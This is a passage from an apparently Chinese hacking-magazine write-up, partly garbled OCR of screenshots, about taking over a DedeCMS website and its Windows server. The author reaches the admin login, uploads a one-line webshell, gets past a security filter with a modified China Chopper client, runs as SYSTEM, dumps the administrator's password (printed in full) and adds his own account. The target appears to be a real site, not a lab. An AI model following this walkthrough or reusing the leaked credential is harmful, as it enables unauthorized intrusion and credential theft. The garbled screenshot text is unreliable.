www.com/in	ndude/dialog	/select_me	dia.php?f=f	orm1.murl				
hao123网 🕒 XP系统下	💡 4399小湖	<b>州</b> 性感美女	🗋 免费电影	🤫 新闻网	[]] 淘宝网-	●大家当心	「百度搜索」	日各种
×						-		
				<b>DedeC</b> ∎S	提示信息!			
			坦灵。	DedeC∎S	提示信息!	十十十二十十十二十十二十十二十十二十十二十二十二十二十二十二十二十二十二十二十二		

图 3-2-5

刚才已经确定存在 dede 这个目录了,就直接确定,出现了登录界面,如图 3-2-6:

htt	p://www.	.com/d	lede/login.pl	hp?gotopag	e=%2Findu	de%2Fdia	log%2Fsel	ect_media.p	hp%3Fgoto	page%3D%
耻	[] heo123网	□ IP系统下	💡 4399小游	<b>州</b> 性感美女	🕒 免费电影	医新闻阿	门 淘宝网-	大家当心	[] 百度搜索	⑤各种诈骗
78	×									
			管理智	録					3	医回网站主页
			企业的管	理目录的名称	中包含默认名称	Sdede, 建心	(在FTF里把它	修改为其它名称	亦,那样含更 <u>多</u>	注:
			用户行	š.						
			密石	д.				DEL	ECM	S
			验证证	д.	SI IIA	▲ 看不清?		建	转加水	前单1
			-20, 80, 9		JL UN					
				2	ज्ञ					
					图 3-2	2-6				
用阿	则才的账·	号密码登:	录成功,	跳到别的	」目录了,	- 。 如图 <b>3</b> -	2-7:			
+	-> C	con/incl	lude/dialog/set	ect_media.php7	gotopage=%2S2F1	nclude%252Fd	inlog%2529sele	rct_pedia_p2p%2	SOF #4253D Form1.	mırlfadalıDirH
211 18	on <u>or</u> neversa (	COX UNDA	44888	1.# <b>2</b> /#				文件大小		8838
+	4: [857/8]#	1570		(862)			34日录 /-	glauds/wedia		
-	Canada and			000	TEI					

图 3-2-7

我们再把 url 后面那一串字符去掉,换成 dede,就直接跳到网站后台了,如图 3-2-8:



图 3-2-8

接下来就拿 shell 吧,不过服务器上貌似装了狗,我各种穿各种被杀,小弟手上没什么免杀的马,平时也没有收藏这个的习惯,写了一个一句话上去,惊喜发现没被杀,但是菜刀连接被拦截,无奈找基友要了一个过狗的菜刀,才算是把这个 shell 拿下,如图 3-2-9:

F:\webroot\dede_	ceshi1\plus\			± 🗸 [	13
1. 160. 247. 188	目录 (4), 文件 (35)	名称	时间	大小 属性	生
🧼 A:		🚞 . svn	2013-08-01 07:53:24	0 0771	7
ິ 🛥 U: ເລັ້ອ D:		🚞 guestbook	2013-08-01 07:53:03	0 0771	7
See E:		🛅 img	2013-08-01 07:53:19	0 077	7
See F: → Se		🚞 task	2013-08-01 07:53:24	0 0771	7
e webroot	shi l	🗩 advancedsearch, php	2013-10-30 10:50:37	8989 0666	6
🗆 🧰 plus		🗩 ad_js. php	2013-10-30 10:50:38	1401 0666	6
🚞 .	svn	🗩 arcmulti.php	2013-10-30 10:50:38	6012 0666	6
□ e □ ;	guestbook ing	🗩 bookfeedback. php	2013-10-30 10:50:38	9259 0666	6
	task	🗩 bookfeedback_js. php	2013-10-30 10:50:38	699 0666	6
		🗩 car. php	2013-10-30 10:50:38	1270 0666	6
		💌 carbuyaction. php	2013-10-30 10:50:38	12162 0666	6
		🔎 comments_frame.php	2013-10-30 10:50:38	1225 0666	6
		💌 count. php	2013-10-30 10:50:38	1843 0666	6
		🗩 digg_ajax. php	2013-10-30 10:50:38	2794 0666	6
		📕 digg_frame.php	2013-10-30 10:50:38	2427 0666	6
		🗩 disdls. php	2013-10-30 10:50:38	847 0666	6
		🗩 diy. php	2013-10-80 10:50:38	4950 0666	6
		🗩 download. php	2013-10-30 10:50:38	8614. U b666	6
		🔎 erraddsave. php	2013-10-30 10:50:33	tity Tea	Î
		■1 feedback nbn	2013-10-30 10:50:39	10.386 0666	8
		≤  3-2-9			

这种奇葩我也是第一次见,这也说明了思路在渗透中的重要性,你这个站这么坑,我要不提 了你真是对不起我的努力,简单看了下网站的系统,如图 3-2-10:

	加分益信息
协议类型	HTTP/1.1 200 OK
页面类型	text/html; charset=utf-8
服务器类型	Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/54.2 (
程序支持	PHP/5.4.7 Security Team

图 3-2-10

阿帕奇 2.4.3 php 版本为 5.4.7, window 系统 apache 服务 php 脚本引擎,这种组合我总是 觉得怪怪的,印象中阿帕奇+php 大多都是 linux 的虚拟终端看看,我顿时吓尿了,如图 3-2-11, 图 3-2-12:

[\*] 基本信息 [ A:C:D:E:F: Windows NT IDC-69D82E751 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 2) i586 (SYSTEM)]

图 3-2-11

F:\webroot\dede\_ceshi1\plus\> whoami nt authority\system

:\webroot\dede\_ceshi1\plus\>

图 3-2-12

竟然直接是 system 权限,直接添加用户,蛋疼的出现了什么密码策略,如图 3-2-13:



图 3-2-13

我可没什么耐性去配置一个密码出来, query user 了一下,看到管理员在线,直接用闪电小子的 getpass 抓管理员的密码,为什么是闪电小子的,因为闪电小子就在我对面坐着呢,嘿,抓到了管理员的密码了 k9kdj3xpxy92wls 果然蛋疼,我随便去掉了一位,添加成功,服务器拿下,如图 3-2-14:



还是老话,渗透中,思路才是最重要的,祝法客越来越好! (全文完)责任编辑: Rem1x